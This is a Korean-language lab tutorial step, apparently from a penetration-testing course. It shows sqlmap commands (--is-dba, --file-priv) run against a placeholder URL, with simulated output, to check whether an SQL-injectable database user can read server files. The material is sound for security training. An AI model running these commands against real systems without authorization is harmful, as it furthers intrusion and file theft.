DBA 권한 및 파일 읽기 권한 확인
이 단계에서는 SQL 인젝션 취약점을 식별했으며 이제 sqlmap을 사용하여 데이터베이스 사용자의 권한을 평가하는 시나리오를 시뮬레이션합니다. 서버에서 임의의 파일을 읽으려면 데이터베이스 사용자는 일반적으로 DBA(데이터베이스 관리자) 권한 또는 특정 파일 읽기 권한이 필요합니다. sqlmap을 사용하여 현재 데이터베이스 사용자가 이러한 상승된 권한을 가지고 있는지 확인할 것입니다.
먼저 취약한 URL 이 있다고 가정합니다. 이 랩에서는 플레이스홀더 URL 을 사용합니다. 실제 테스트 환경에서 수행하는 경우 http://example.com/vulnerable?id=1을 실제 대상으로 바꾸십시오.
DBA 권한을 확인하려면 --is-dba 플래그를 sqlmap과 함께 사용하십시오.
sqlmap -u "http://example.com/vulnerable?id=1" --is-dba
참고: 실제 시나리오에서는 sqlmap이 먼저 SQL 인젝션을 탐지한 다음 DBA 권한을 확인합니다. 이 랩에서는 파일 읽기 측면에 중점을 두므로 sqlmap이 이미 인젝션 지점을 찾았다고 가정합니다.
출력이 [INFO] current user is DBA: True를 나타내면 해당 사용자는 DBA 권한을 가지며, 이는 종종 파일을 읽을 수 있는 능력을 의미합니다.
다음으로 파일 읽기 권한을 확인하려면 --file-priv 플래그를 사용할 수 있습니다.
sqlmap -u "http://example.com/vulnerable?id=1" --file-priv
이 명령은 데이터베이스 사용자가 파일 시스템에서 파일을 읽고 쓸 수 있는 필요한 권한을 가지고 있는지 확인하려고 시도합니다. 출력이 [INFO] current user has FILE privilege: True를 표시하면 파일을 읽을 수 있을 가능성이 높습니다.
예시 출력 (시뮬레이션):
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|___|_|_|_ |_|___| V
|_| http://sqlmap.org
[INFO] starting @ 12:34:56 /2023-10-26/
[INFO] fetched data: 'True'
[INFO] current user is DBA: True
[INFO] fetched data: 'True'
[INFO] current user has FILE privilege: True
[INFO] shutting down @ 12:34:57 /2023-10-26/
이 출력은 데이터베이스 사용자가 DBA 및 FILE 권한을 모두 가지고 있어 임의의 파일 읽기가 가능함을 확인합니다.